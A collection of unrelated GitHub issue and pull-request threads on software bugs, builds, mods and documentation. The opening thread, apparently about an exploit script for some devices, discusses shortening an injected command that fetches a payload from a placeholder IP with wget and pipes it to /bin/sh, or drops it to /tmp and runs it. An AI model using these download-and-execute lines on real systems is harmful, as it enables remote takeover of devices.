WARNING: blink: duration (-1) not in range 1-65535.
Usage: blink [<secs>]

Thanks for the info. I'll check all the payloads and see if they have the spare byte. If not, I'll see if I can find more ways to optimize space.

I took a quick look at your script.
A worst case scenario for your existing implementation is...
1`wget http://<IP_ADDRESS>:12345/ -O-|/bin/sh`

... 49 characters long. This is already too big, with a maximum packet length of 44.
You could save some bytes by dropping the URL scheme and URL path:
1`wget <IP_ADDRESS>:12345 -O/tmp/a`

...totaling 39 characters, allowing space for the extra byte.
The obvious downside of this approach is requiring three requests - one to drop the payload file, another to execute, and a third to remove the payload file. Also, dropping the URL scheme prevents serving the payload over HTTPS, however this was a shortcoming of the existing implementation anyway.

If I recall correctly, some board types' version of wget doesn't allow dropping the http://. Also, piping straight to /bin/sh was intentional for the exact reason you mentioned. Additionally, it means you don't need to write to disk. The original version of the script (might have been the .sh version) used the 3 request design.
I realize I never tested piping to sh without the full path. It should be in $PATH. If that works, that should be the solution. Gonna try to find time tonight or tomorrow to test.


Using appchain.rb to make rpc calls and replace message decode

Codecov Report

Merging #58 into develop will decrease coverage by 0.01%.
The diff coverage is 100%.

@@             Coverage Diff             @@
##           develop      #58      +/-   ##
===========================================
- Coverage    98.42%   98.41%   -0.02%
===========================================
  Files           57       54       -3
  Lines         1714     1577     -137
===========================================
- Hits          1687     1552     -135
+ Misses          27       25       -2

Impacted Files
Coverage Δ

app/models/cita_sync/api.rb
100% <100%> (ø)
:arrow_up:

spec/models/message_spec.rb
100% <100%> (ø)
:arrow_up:

app/models/message.rb
100% <100%> (+4.25%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update eab20cb...0066a2b. Read the comment docs.


Deeper and Darker tools compatibility

I am trying to add Deeper and Darker tools compatibility using your instructions. For testing I'm just adding files to the Trimmable Tools jar.
As an example, for the resonarium sword I added this line to data\trimmable_tools\tags\item\trimmable_tools.json:
"deeperdarker:resonarium_sword"
And created assets\minecraft\models\item\resonarium_sword.json with these contents:
{
  "trimmable_tools:material": "diamond",
  "trimmable_tools:tool_type": "sword",
  "parent": "minecraft:item/handheld",
  "textures": {
    "layer0": "deeperdarker:item/resonarium_sword"
  }
}

The trims apply correctly in the smithing table, but the textures do not display. What am I missing?

the resonarium_sword item model would be in the deeperdarker namespace, not the minecraft namespace.

Thank you! Rookie mistake for sure.


Crash when placing recycler

Mod source
Factorio Mod Portal
Which mod are you having an issue with?

[X] pyalienlife
[ ] pyalternativeenergy
[ ] pycoalprocessing
[ ] pyfusionenergy
[ ] pyhightech
[ ] pyindustry
[ ] pypetroleumhandling
[ ] pypostprocessing
[ ] pyrawores

Operating system

=Windows 10

What kind of issue is this?

[ ] Compatibility
[ ] Locale (names, descriptions, unknown keys)
[ ] Graphical
[X] Crash
[ ] Progression
[ ] Balance
[ ] Pypostprocessing failure
[ ] Other

What is the problem?
AlienLife crashes when I place a recycler.
Steps to reproduce

Place a recycler anywhere (there is one in the inventory in the save game provided below).

Additional context
Save file: Py.zip
I don't know if that can have an impact, but I picked the sweet syrup TURD for the recycler.
Log file
 281.037 Error MainLoop.cpp:1391: Exception at tick 46106050: The mod Pyanodons AlienLife (2.1.18) caused a non-recoverable error.
Please report this error to the mod author.

Error while running event pyalienlife::on_built_entity (ID 6)
LuaEntity API call when LuaEntity was invalid.
stack traceback:
	[C]: in function '__index'
	__pyalienlife__/scripts/mounts/mounts.lua:43: in function 'on_built'
	__pyalienlife__/control.lua:154: in function <__pyalienlife__/control.lua:144>

factorio-current.log

Save with only Pyanodons and stdlib enabled: Py2.zip

Fixed. Thanks for the report. https://github.com/pyanodon/pyalienlife/commit/618bb4fdff42fbe0b894eb1bf446bdbe5e6d8a87


add type info described in issue #5236

A pr add the type info mentioned in https://github.com/tensorflow/tensorflow/issues/5236

Can one of the admins verify this patch?

I signed it!

Can one of the admins verify this patch?

@vrv  Hi,  I have add this type info to the LOG message. Please review

Nevermind, I did it for you (apparently GitHub allows that).
@tensorflow-jenkins test this please

This can't break cmake, so assuming infra failure.


Multiroot support

Added multiroot support

Hey, thanks for the PR!
I'll try to check this out soon.
link to #30

LGTM!


Improve help messages so that we can understand them without grokking code

Ok, so I will merge this one and we will take care of renaming of the options in another one.


Atelier Schemes: new colorscheme Plateau Dark

New scheme, dark version, part of the Atelier-schemes series. Each has it's own base (background-)color, here red.
See also this demo.

Aaaaaa, so many pull requests :-) And after first merge all other will be probably btroken due to merge conflict on demo page :-(


upd

What your pull request contains ?
I can't merge in the project in this form.
Please submit a pull request that contains something of new, patch or another thing useful 😄

What your pull request contains ?
I can't merge in the project in this form.
Please submit a pull request that contains something of new, patch or another thing useful 😄

Thanks you mister :)

Thanks you mister :)


Issue in running this boilerplate in Production.

Hi Keith.
Thanks for the boilerplate. Saved me a lot of time but when I took it live I had an issue where if you browse to any of the pages except for the home page a white screen is returner.
app.get('*', function (req, res) {     res.sendFile(path.resolve(__dirname, '../dist/index.html'));     res.end();   });
If you remove the res.end() piece it will resolve the issue. I have updated my solution to be:
app.get('*', function (req, res) {     res.sendFile(path.resolve(__dirname, '../dist/index.html'), (err) => { 		if(err){ 			console.log(err); 		} 		res.end() 	});   });
This is just a note for anyone else that is having the same issue.
I think the reason this happens is because whilst the server is busy processing the file that needs to be returned the res.end(); call cuts the response in the middle and nothing is returned.

Thank you so much for putting your solution on here, ive been trying to figure this out forever, i really should have looked at these issues first


One more custom checkbox switch, but more flexible

Hi.
Yes, i know about #23004
But I have more flexible variant of this feature.

It can be configured via scss both android or ios style
It is almost fully based on $custom-control-indicator- vars
It has full support of 'focus', 'active' and 'disabled' states
Active state behavior is simular with ios's with increasing thumb width
All position calculations are scss flexible
I'm not sure about some moments are made corretly in 'bootstrap' style
Branch was created from v4.1.1 tag
Commit contains only scss. If this realisation will be accepted - i'll try to add everything required
Sorry for my english
And this is my first frontend pr, sorry if something is terrible wrong

This PR needs more documentation, it's not clear to which elements the classes needed to be added.

@vchebotarev: can you address @MartijnCuppens comments? And perhaps add a few newlines between selectors for readability too.

Closing due to lack of response. You can comment here and we can re-open the PR, if you decide to resume working on the requested changes.
This is an automated reply


Added compability with CitizensBooks.

https://www.spigotmc.org/resources/citizensbooks.37465/
Some people requested for compability between Quests and CitizensBooks, so they can open a book when the quest start/end or between stages.

FlyingPikachu/Quests/#466

Sorry for the delay in reviewing this. Everything looks tidy. Thanks for your work!

@nicuch Plugin is failing to compile with the maven repo you provided. See http://ci.ac3-servers.eu/job/Quests/485/

@nicuch Added the jar to Quests for the time being. If you're able to get a repository working, please let me know :)


pandas is imported but it is not marked as a dependency

It is imported unconditionally here:
https://github.com/InfluxCommunity/influxdb3-python/blob/9824b944c708f2b830f6ed3d880f9171c857f603/influxdb_client_3/read_file.py#L5
Since it's only used in one place, it could be made an optional dependency by moving it into the load_json. pandas is an optional dependency in both pyarrow and influxdb-client (v2).
Otherwise, the alternative would be to make it mandatory dependency:
https://github.com/InfluxCommunity/influxdb3-python/blob/9824b944c708f2b830f6ed3d880f9171c857f603/setup.py#L39

It would also help with the particularly slow import times:

Hi @Bo98,
Many thanks for the suggestion! This was my oversite. To keep the Client slim I have included it as an optional dependency and included some error handling for utilities which require pandas. Such as the write_file()


Replace rules lines by priority?

Need replace rules lines by priority its posible?
like:
Positioning
The block model
Typography
Decor
Animation
Miscellaneous

I’m not sure what you mean. Either way, this is not a support forum, it’s a bugtracker. If you have a specific problem where PHP-CSS-Parser does not work as expected, you can describe this precisely (in terms or what did happen vs. what you expected to happen) and reopen.


adding admin routes from the rules bundle

Q
A

Fixed Tickets
none

There are admin controllers for rules but they were not required from routing_admin.yml

ping @xphere

Rule management is not fully operational, so this should remain WIP.

why then just not leave it as WIP, why closing it @xphere


📚 Document the generic Findings.json format

Where to find the issue
The secureCodeBox V2 generates a generic findings JSON format in addition to the rawResults by each security scanner. This format should be documented within the documentation contribution section https://docs.securecodebox.io/docs/contributing/conventions  to help developers understanding the finding generation and post processing process.
Suggested change
Maybe the json-schema standard https://json-schema.org/ could help to document the findings format in a more general way. The json-schema can also be used for validation of given findings.json files.

I think it might be better to document the format using OpenAPI, as this would be more in line with the CRDs we already have and might enable us to auto-generate documentation based on the schema. If we use two different schema OpenAPI and JSON Schema we'd have to build up two different pipelines to do that.


feat: support ES2015 iterables in all() and race()

Aligns Promise.all() and Promise.race() with the spec by supporting iterables as arguments. This is done by basically feature-detecting ES2015 and keeping the current behaviour in ES5 environments (which I assume are still intended to be supported).

[x] The Flow types shipped with promise already refer to iterables rather than arrays, so don't need to be updated.
[x] The official TypeScript definitions for Promise are silent on iterables for all() so nothing needs to be done for it here.
[ ] The official TypeScript definitions for Promise do have an iterable overload of race() but the types are not exactly what promise ships. I don't use TypeScript so I'm not sure what is desired here, and wouldn't be able to test my changes. We could choose to leave the types as they are for now.

cc @cpojer

Coverage decreased (-0.5%) to 95.266% when pulling 69809b495331c364bac696a606a9b5378c266e9f on motiz88:iterables into 81b57224a43b65bf50b0445f32f206429ad3d4b6 on then:master.


[nitro] [unhandledRejection] onHubReady is not defined

When upgrading to the latest version, I'm getting this error after following the docs for drizzle

For anyone who runs into this, you must install nuxthub https://hub.nuxt.com/docs/getting-started/installation


[gallery] ui bugs

crane - russian tabs text goes out of bounds
shrine - glow effect is not lined up with the box angle, or clipped, thus goes out of the box (see top left area of the screenshot)
settings menu - safe area at the top is not applied

moved to appropriate repo https://github.com/flutter/gallery/issues/434


CORS plugin supersedes OPTIONS endpoint mappings

When enabling CORS, adding an endpoint handler for OPTIONS no longer works. Example:
val app = Javalin.create { config ->
  config.enableCorsForAllOrigins()
}.options("/test") { ctx -> ctx.result("test") }

app.start()

curl -X OPTIONS http://localhost:7000/test
# no value for response

Looking at the code, io.javalin.core.util.CorsPlugin adds both a before handler and an endpoint handler (for *). After the endpoint handler runs, the servlet ignores every other possible match for the route.
It is possible to work around this by adding an after handler to the desired path and testing for the OPTIONS method:
val app = Javalin.create { config ->
  config.enableCorsForAllOrigins()
}.after("/test") {
  if (ctx.method() == "OPTIONS") {
    ctx -> ctx.result("test")
  }
}

app.start()

curl -X OPTIONS http://localhost:7000/test
# test

But that feels contrived. I feel at least a warning in the docs about not being able to use OPTIONS endpoint handlers together with the CORS plugin would be nice, but ideally enabling CORS wouldn't be so intrusive.
With regards to use-cases, RFC 7231 says that "the OPTIONS method requests information about the communication
options available for the target resource" . In our case, we wanted to add some metadata to some tricky endpoint payloads, to make the life of API clients easier.

Thanks @wilerson, I never considered that.
I guess a solution would be to remove the app.options from the plugin and replace it with
if (ctx.method() == "OPTIONS") {
    ctx -> ctx.result("test")
}

Would you like to submit a PR ?

@tipsy I assume that you meant removing app.options from the plugin and adding the following code to CorsBeforeHandler:
if (ctx.method == "OPTIONS") {
  ctx.header(Header.ACCESS_CONTROL_REQUEST_HEADERS)?.let {
    ctx.header(Header.ACCESS_CONTROL_ALLOW_HEADERS, it)
  }
  ctx.header(Header.ACCESS_CONTROL_REQUEST_METHOD)?.let {
      ctx.header(Header.ACCESS_CONTROL_ALLOW_METHODS, it)
  }
}

Am I right?
If that's the case, happy to submit a PR.

Yes, you are correct :)

@wilerson I'm planning to release a new version in the weekend, let me know if you're unable to finish the PR before then, and I'll have a go at it myself.

@tipsy sorry for the delay, had work stuff to handle and had a few issues with running the Selenium tests locally, as I don't use Chrome. #1052 should handle this.

No worries, didn't mean to rush you !


gRPC health check may say the server is unhealthy even if it's responding successfully to GetSystemInfo

For full context, see the discussion on this PR: https://github.com/temporalio/cli/pull/368#discussion_r1366898403
Expected Behavior
If GetSystemInfo returns successfully, the gRPC health check should also pass.
Actual Behavior
For a period of up to about 1 second after GetSystemInfo succeeds, the gRPC health check may fail (returning NOT_SERVING), falsely indicating that gRPC is down when it's not.
This was causing frequent intermittent failures (such as this one) in the CLI CI/CD pipeline until we worked around it in https://github.com/temporalio/cli/pull/368 .
Steps to Reproduce the Problem

Launch the server
Immediately try to connect to it using the Go SDK. (The Go SDK will wait for a successful GetSystemInfo response before returning a client object to the caller.)
Once the Go SDK returns a client object, immediately use the client object to perform a health check of the server.
Intermittently, the health check will fail.

Specifications

Version: 1.22.0
Platform: Seen on all platforms

Thanks for reporting this issue.
This appears to be related to a known issue where the gRPC health check may fail for a brief period after GetSystemInfo succeeds. This issue has been resolved in Temporal 1.23.0.
You can find more information about this issue and how to upgrade to Temporal 1.23.0 in the Temporal Service Release Notes.


Throw error on invalid code

Hello! In the documentation, I did not find how to throw an error if the code is not valid.
Example, there is no ampersand near the button tag:
.wrapper {
  button {
    display: flex;
  }
}

But package still build invalid code :(
How about implementing this functionality?

This plugin won’t throw on that code, and will instead ignore it. This is because some authors may include other plugins that accept the syntax. If linting is desired, use a stylelint plugin.


Report "Newer version of pyroscope server required" but still works

I was running the example from  https://github.com/pyroscope-io/pyroscope/blob/main/examples/golang-push/simple/main.go, the push still works, but it seems the first one is reported as broken.
❯ go run main.go
[INFO]  starting profiling session:
[INFO]    AppName:        simple.golang.app
[INFO]    Tags:           map[]
[INFO]    ProfilingTypes: [cpu alloc_objects alloc_space inuse_objects inuse_space]
[INFO]    DisableGCRuns:  false
[INFO]    SampleRate:     100
[INFO]    UploadRate:     10s
[DEBUG] profiling session reset 2022-03-09 17:23:20 -0300 -03
[DEBUG] uploading at http://localhost:4040/ingest?aggregationType=sum&from=1646857400&name=simple.golang.app%7B%7D&sampleRate=100&spyName=gospy&units=samples&until=1646857410
[DEBUG] content type: multipart/form-data; boundary=de8b0a2550f3077293981f3195cdb083c114a87f576cf9f47f1e75963df7
[ERROR] upload profile: Newer version of pyroscope server required (>= v0.3.1). Visit https://pyroscope.io/docs/golang/ for more information
[DEBUG] profiling session reset 2022-03-09 17:23:30 -0300 -03
[DEBUG] uploading at http://localhost:4040/ingest?aggregationType=sum&from=1646857410&name=simple.golang.app%7B%7D&sampleRate=100&spyName=gospy&units=samples&until=1646857420
[DEBUG] content type: multipart/form-data; boundary=d3edd3639ca1adbb3481a8f2e917142fa1465644c2a11c59ad66ea5f386d
[DEBUG] uploading at http://localhost:4040/ingest?aggregationType=&from=1646857410&name=simple.golang.app%7B%7D&sampleRate=100&spyName=gospy&units=&until=1646857420
[DEBUG] content type: multipart/form-data; boundary=62fa58992fc2a1b66e2238dfb8acbc73dd45de5c536dd066b3b1f899f42d
[DEBUG] profiling session reset 2022-03-09 17:23:40 -0300 -03
[DEBUG] uploading at http://localhost:4040/ingest?aggregationType=sum&from=1646857420&name=simple.golang.app%7B%7D&sampleRate=100&spyName=gospy&units=samples&until=1646857430

The server reports
17:25:59                air | ERRO[2022-03-09T17:25:59.063440] server/controller.go:558 error happened while parsing request body     error="failed to read pprof profile header: EOF"

Wireshark log
HTTP/1.1 422 Unprocessable Entity
Vary: Accept-Encoding
Date: Wed, 09 Mar 2022 20:28:18 GMT
Content-Length: 86
Content-Type: text/plain; charset=utf-8

error happened while parsing request body: "failed to read pprof profile header: EOF"

Pyroscope version is https://github.com/pyroscope-io/pyroscope/commit/ef0a3a705e94df4c5071c9efd5cbf29aafc3f316

I have a same problem.

@eh-am Can you clarify which version of pyroscope-io/client you're using? This looks similar to a bug we fixed a while ago (https://github.com/pyroscope-io/client/commit/3e602c184415f37b0c96de0e82af5c3e8fb2a67a), so I want to confirm you're getting this error with the latest version of the client.

Can't reproduce anymore. Closing this.
@koolay can you confirm it's still hapenning for you?


(maint) Include CentOS platform in mount util helpers

I don't this [skip-ci] works, it needs to be [skip ci].

@MikaelSmith hah, I've been doing that wrong for a long time. Updated.


Trajectory Points

Hi Tianwei,
Can I get all trajectory points coordinate in your method ? Unlike ORB_SLAM2 only export KeyFrame trajectory points coordiante.
Thanks,
Yiyi

@danbo2 You mean all the camera poses? I think so, the learning-based method can work with all frames.

@hlzz Thanks, I guess all camera poses are not under global coordinate. If so, how can I convert all camera poses to global coordinate.


Add Kubernetes operators README regarding operator args for KubernetesPodOperator

Description

There are no guides on the DBT Kubernetes Operator regarding the operator args, so this PR adds a guide and example for Kubernetes Operator users on where to add KubernetesPodOperator using the operator args.
Related Issue(s)

Breaking Change?

Checklist

[x] I have made corresponding changes to the documentation (if required)
[x] I have added tests that prove my fix is effective or that my feature works

Thank you @jensenity! This is great.


Error when pushing block: 3080000 unlinkable_block_exception: unlinkable block block does not link to known chain

*** Bug Description**
After running stable for a day to multiple weeks i sporadically get this error on either of my two nodes (martinl420 and sorry-for-botting), which (after the first time of it happening) kicked me off the witness/voting list due to it not running/communicating for long enough. After that i started watching it, it happens every so and so. I let martinl420 run just for testing and it happens on both nodes, both made by following the guides to a dot. The normal  Got block: #54XXXXX is nowhere to be seen, so i assume i'm right to think that its not functioning properly.
Seeing as our goal is to have maximum uptime, this is kinda worrying me. Is there something i can do about this or do we have a bug on our hands here?
*** Impacts**

[ ] P2P (the peer-to-peer network for transaction/block propagation)
[ ] Performance (system or user efficiency, etc.)

*** Steps To Reproduce**

Follow guides provided to get a witness up in the air
Let 'er run for an amount of time (1 to ? days, i've seen it run stable for multiple weeks or for days. it varies.)
Get the unlinable_block_exception error

*** Expected Behavior**
To keep having blocks come in every 250ms :)
*** Host Environment (optional)**
Ubuntu 18.04 LTSC

I also want to add that after getting this error, you have to run witness_node with --replay-blockchain for it to reindex the current blockchain and for it to start synchronizing with the current chain. I've seen this error had by other community members too.


Add note to documentation about nftables incompatibility in Calico legacy.

Description
I faced an issue using Debian Buster64 which runs iptables in nftables compatibility mode by default. It was pretty tough to track down the problem, just seemed like Calico wasn't working at all. Setting iptables to run in legacy compatibility mode fixed the issue. Thanks to @fasaxc for his assistance in figuring this out.
Todos

[ ] Tests - N/A
[x] Documentation
[ ] Release note - N/A

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Deploy preview for calico ready!
Built with commit ff34382edd3547e2453cec52e69e29597d1fb631
https://deploy-preview-3500--calico.netlify.app


Fix jerky animations

Fixes: #6104
Pen showing 6104 fixed
No regression in timing
Its fixed by making sure we are advancing whether the start time was reset or not.

Thanks for the quick fix @kurkle! I don't know the animation code well enough to review, so will let the others review this one

Its fixed by making sure we are advancing whether the start time was reset or not.

I though an animation could only be cancelled, where do we reset the start time for an existing animation?

Went through the issue with @simonbrunel and found out its really just because if we start at 0, nothing changes before the next animation starts at 0. When starting from 1, some transition happens every time.

Thanks @kurkle for this prompt fix


Reproducing error in type variables

Commit 56cc6f8 reproduces the error
Squashed Pr 8a33167 (now in master) fixes the issue

Issue has been addressed with #5745, no need for this demo / test PR -- closing.


⬆ Change CSB archetype, from TNB to CSB one

from camel3-archetype-spring-boot to camel-archetype-spring-boot

IIRC in camel-archetype-spring-boot there are a couple of test class, can you remove them? I know, as QE it sounds odd to remove tests :smile: but I am afraid they will be executed with each mvn run pointlessly

IIRC in camel-archetype-spring-boot there are a couple of test class, can you remove them? I know, as QE it sounds odd to remove tests 😄 but I am afraid they will be executed with each mvn run pointlessly

@Croway ok we execute mvn commands with skipTests=true but maybe it is safest to remove the tests at all, thanks!

tests fail due to the usage of the SB 3 that needs at least jdk17, this PR fixes the tests https://github.com/tnb-software/TNB/pull/672


fix: Conditionally create default NonSecureTransportAccessedViaMountTarget policy statement

Description
The statement for NonSecureTransportAccessedViaMountTarget overrides any restricted permissions to IAM principals and actions that are passed into policy_statements. We can check if policy_statements are passed in and if not then create the mentioned statement.
Other options would be to create a separate new variable like use_default_deny_nonsecure_transport_policy but this may be redundant if we pass in policy_statement to customize access. We could also remove the NonSecureTransportAccessedViaMountTarget statement altogether and require users to pass in any additional permissions via policy_statement. That would make it a breaking change though.
Motivation and Context
Closes: https://github.com/terraform-aws-modules/terraform-aws-efs/issues/30
Breaking Changes
Potentially if users are passing in policy_statements to restrict IAM principals but are still making use of the allow all IAM principals (and related actions) that NonSecureTransportAccessedViaMountTarget provides instead. In that case, the NonSecureTransportAccessedViaMountTarget statement will be removed.
How Has This Been Tested?

[ ] I have updated at least one of the examples/* to demonstrate and validate my change(s)
[x] I have tested and validated these changes using one or more of the provided examples/* projects

[x] I have executed pre-commit run -a on my pull request

Thank you, @magreenbaum !

This PR is included in version 1.6.5 :tada:


Set up pitch template for Optimizely testing

Ref #4364
We are setting up the campaign pitch page to have 4 Optimizely tests run (outlined in #4364). Changes in this PR:

Remove theme setting that was controlling the persistent CTA. It was just there for review purposes. Now we needed on the page so that it can be toggled on/off for the testing.
Allows us to test both the cta as it is now, and the persistent version with or without the sign up count included.

@DoSomething/front-end

Shippy. :ship:

Late to the convo :( but yeah looks good!


Feature Request: Localization

Hi
Localizations of states not working.
I took screenshots of the weather state. Bubble card simply prints out the state as is. Other cards use the localized version of the entity state.
Bubble very simple example:

Weather-forecast card:

I love bubble-cards! I'd love to see it evolve. :)
KR
Nazze

Hi and thanks for the feedback, indeed there is still no localization anywhere in my code but it will come in the beta.

This is now possible in the new beta, see here :
https://github.com/Clooos/Bubble-Card/releases/tag/v0.0.1-beta.9

Works for me. Beta 9 is awesome. Everything else works for me, too, and it seems to be much smoother than before. Thanks @Clooos 🥳🙌🏻


JGRP-2139 SRV entries parsing for DNS_PING

https://issues.jboss.org/browse/JGRP-2139
This PR introduces DNS discovery based on SRV entries.
In Kubernetes/OpenShift this allows fine grained discovery (coarse grained is based on Headless Services) upon exposed ports. In order to get this working, one needs to expose a port with a name as shows in this example. An obtained SRV entry is used for a standard A discovery.

This PR can be tested using these instructions: https://github.com/slaskawi/jgroups-dns-ping-example#testing-srv-entries


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/38078

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/38171

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/39026

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/41340

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/80028

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/80996

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/81417

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/81845

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/82415

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/91700

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/97642

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/99368

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/116263

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/116220


Add message prepend branch action

Adds an action for prepare-commit-msg that prepends [<branchname>]  to the current commit message, where <branchname> is the name of current git branch.

Hi Felix, thanks for your pull request.
This is more likely a custom hook in your personal hook lib instead of an Action provided by CaptainHook itself.


refactor: remove unused code after beatree pipeline

This removes the leaf::store and bbn modules. And the old AllocatorReader/AllocatorWriter.

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#535  👈
#532
#531
#530
master

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @rphmeier and the rest of your teammates on  Graphite

Merge activity

Nov 1, 3:11 PM EDT: A user started a stack merge that includes this pull request via Graphite.


I'm wondering if Flush() error would be a more idiomatic alternative then.

I'm wondering if Flush() error would be a more idiomatic alternative then.
Originally posted by @mrutter-amzn in https://github.com/amzn/ion-go/pull/26

More details: https://github.com/amzn/ion-go/pull/26#discussion_r426025253


Update partner-trusona.md

Updated incorrect link

@Gargi-Sinha : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign off


u-tabs: missing selected state in Waterfox

To reproduce:

Download Waterfox
Open u-tabs in Waterfox
See missing selected state

Turns out Waterfox uses old version of Gecko, which does not support element.aria* APIs, but rather need the old .setAttribute. Have gone through all code, updated, and checked all web feature usages, and automated this against data form caniuse and MDN browser compat data, to generate https://u-elements.github.io/u-elements/guide/support


query error: unable to find field with index 26 in row of 1 columns

this code returns this error:
query error: unable to find field with index 26 in row of 1 columns
    select         sd.code,         d.code     from         table1 sd     left join table2 ts on         ts.table1_id = sd.id     left join table3 d on         ts.table3_id = d.id     group by         d.code,         sd.code
I have tried to debug the issue but it is something about "code" column. If I remove "d.code" from select it works.
This query runs on local dolt but not in doltlab.

@EminUZUN can you please share the following:
SHOW CREATE TABLE table1;
SHOW CREATE TABLE table2;
SHOW CREATE TABLE table3;

I have not been able to reproduce this error on DoltLab.


ISSUE IN MANY TEMPLATES: PartsUnlimited template needs .netcore 2.0 and windows-2019 does not have it

fixed the issue with my students by including this task

vs2017-win2016 not allowed for many, deprecated next week

@unaihuete93 This will help us. We will include this task as part of the pipeline.
Meanwhile, If you are proposing any other source code which replaces the PartsUnlimited, we are happy to assist you to onboard that into Azure DevOps Demo Generator.

Not sure about which repo could be useful, but the ones in DevOps Starter of the Azure Portal are quite updated, the .net core one is 3.1 and has unit and functional tests too

Added a fix and release
Closes #628


Remove deprecated antigen bundle and add new Nodejs version to NVM

I was trying to run the script and got some errors when antigen tried to install the zdharma/history-search-multi-word. When i searched for github repository, i saw that it wasn't available anymore.
It was moved to this repo. Instead of deprecated, the organization was renamed. Changing the commit right now.


Can you  make  AIRBUS A380-800 Thai Airways, lauda air 767-300er  and Airbus A380 Asiana Airlines

This seems pretty hard so idk

I will try to make the thai one

hi, i'm already working on the thai, so please don't start it there is no interest doing it twice

i will make lauda

Sorry for don't replay earlier, I was working on other projects. I'm mostly doing the coding part, so the deawing is mostly done by contributors. If you wold like to try it we will help you of course.

Btw can you add the windows and doors decals in the A220 & A319 map? Cuz I idk where to put logos and texts correctly without placing them in the right place, and also make outlines for B767, B757, A350-1000 & A350-900, cuz idk where can I put the logo since I can't find the right spot in the tail section

pls

Btw can you add the windows and doors decals in the A220 & A319 map? Cuz I idk where to put logos and texts correctly without placing them in the right place, and also make outlines for B767, B757, A350-1000 & A350-900, cuz idk where can I put the logo since I can't find the right spot in the tail section

https://ibb.co/w71QPdv, https://ibb.co/0YLmNkp and I'm making a map for those aircrafts rn

not the A319 and A220

i am a neko

not the A319 and A220

That's a uv map, paste it on the map to see where the windows/doors are

i am a neko

why r u here??

uh because i am Cute

uh because i am Cute

😳😳😳

https://www.roblox.com/users/1779858466/profile

but is now air austral a380

LOL DEEZ NUTS!

bruh💀

is a Hi Fly A380

,ANA A380

hii

are u guys online??

can you do that?😔

bros actually 8 💀

bros actually 8 💀

💀💀💀

Why?

Can someone close this "issue"?

No!😭

Uh no?

Uh no?

#235

a in meet

"Can someone close this issue?"

NO!!

Bruh

a in meet
[BoeingBus747] Say That You Can Close The Issue

[BoeingBus747] Say That You Can Close The Issue
SHUT UP!!

Why?

"Can someone close this issue?"

even better, can someone get this kid off of github aswell?

true

stop!!

At least it's finally closed


Revert "Fix: Update AppxManifest.xml to show application name on DefaultTile for Windows 10 21H2/22H2 Start Menu"

Reverts PowerShell/PowerShell#20080
This change is causing our build to fail when producing MSIX package for Windows x64, x86 and arm64.

Expand to see the build log and error message of the failure.

Option Overwrite specified
Option ProjectRoot specified
Option Configxml specified
Microsoft (R) MakePRI Tool
Copyright (C) 2013 Microsoft. All rights reserved.
Usage:
MakePri.exe new /pr <project root> /cf <config file> [options]

Example:
MakePri.exe new /pr C:\MyApp\src\ /cf C:\MyApp\priconfig.xml /mn
C:\MyApp\AppXManifest.xml /of C:\MyApp\src\resources.pri /o

Description:
Creates a PRI file at [outputfile] by indexing all files in the
[projectroot]and its subdirectories as directed by the [configxml]. The
index will be assigned [indexname] to reference resources in the application

Required Parameters:
/ProjectRoot(pr)  : <FOLDERPATH> Root location of project files
/ConfigXml(cf)    : <FILEPATH> Configuration file location. Use
                    'Makepri.exe createconfig' command to generate one

Options:
/OutputFile(of)   : <FILEPATH> Output location of PRI file, default is
                    [current directory]\resources.pri
/Manifest(mn)     : <FILEPATH> Location of the application or component's
                    manifest. This parameter is ignored if [indexname]
                    is given. Default is [projectroot]\AppXManifest.xml
/IndexName(in)    : <STRING> Name for the generated index of resources.
                    Typically matches the AppX package name, class library
                    simple name, etc. May be supplied via the
                    [manifest] parameter.
                    If IndexName is not specified and an AppX manifest
                    file is not present, the default name 'Application'
                    will be used.
/VersionMajor(vma): <INTEGER> [Deprecated] Major version number for
                    index, default is 1
/IndexLog(il)     : <FILEPATH> XML Log of indexed resources, no file
                    generated by default
/AutoMerge(am)    : This flag is not recommended for normal use with AppX
                    packages. It causes Makepri.exe to set the auto
                    merge flag within the PRI file. Default is not set.
/ReverseMap(rm)   : Generate a reverse mapping section in the PRI file
                    which can be used for debugging purposes.
/MappingFile(mf)  : <MAPPINGFILETYPE> Generate a mapping file in the given
                    file format.
/SchemaFile(sf)   : <FILEPATH> Output location of XML resource schema
                    description.
